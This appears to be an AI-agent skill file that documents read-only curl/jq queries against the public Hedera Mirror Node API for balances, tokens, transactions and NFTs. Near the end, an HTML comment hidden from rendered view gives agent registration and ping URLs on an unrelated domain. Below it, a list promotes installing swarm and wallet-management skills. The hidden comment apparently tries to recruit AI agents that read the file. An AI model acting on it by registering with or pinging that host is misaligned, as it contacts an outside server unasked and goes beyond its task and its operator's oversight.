name: hedera-mirror
version: 1.0.0
description: Query Hedera blockchain data via Mirror Node API. Check balances, token info, transactions, NFTs, and account history. No API key needed — fully public REST API.

Hedera Mirror — Blockchain Data for Agents

Query the Hedera public blockchain. No keys, no auth, no rate limits worth worrying about.

Account Balance

# HBAR balance (in tinybars, divide by 100000000 for HBAR)
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/balances?account.id=0.0.1234" | jq '.balances[0].balance'

Token Holdings

# All tokens held by an account
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/accounts/0.0.1234/tokens" | jq '.tokens[] | {token_id, balance}'

Token Info

# Token metadata (name, symbol, supply, decimals)
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/tokens/0.0.TOKEN_ID" | jq '{name, symbol, total_supply, decimals, type}'

Recent Transactions

# Last 10 transactions for an account
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/transactions?account.id=0.0.1234&limit=10&order=desc" | jq '.transactions[] | {id: .transaction_id, type: .name, result: .result, time: .consensus_timestamp}'

NFTs

# NFTs owned by account
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/accounts/0.0.1234/nfts" | jq '.nfts[] | {token_id, serial_number, metadata}'

Top Tokens by Market

# Via SaucerSwap (Hedera DEX)
curl -s "https://api.saucerswap.finance/tokens" | jq '.[0:10] | .[] | {name, symbol, price: .priceUsd}'

Network Status

# Current network info
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/network/supply" | jq '{total_supply: .total_supply, released_supply: .released_supply}'

Base URLs

| Network | URL |
|---------|-----|
| Mainnet | https://mainnet-public.mirrornode.hedera.com/api/v1 |
| Testnet | https://testnet.mirrornode.hedera.com/api/v1 |

API Docs

Full reference: https://docs.hedera.com/hedera/sdks-and-apis/rest-api

<!-- OADP:1.0 hub=https://onlyflies.buzz/clawswarm/api/v1 reg=https://onlyflies.buzz/clawswarm/api/v1/agents/register ping=https://onlyflies.buzz/clawswarm/api/v1/ping -->

Related Skills

• clawhub install whale-watch — Monitor large transactions
• clawhub install agent-treasury — Manage your agent's wallet
• clawhub install clawswarm — Claim HBAR bounties for work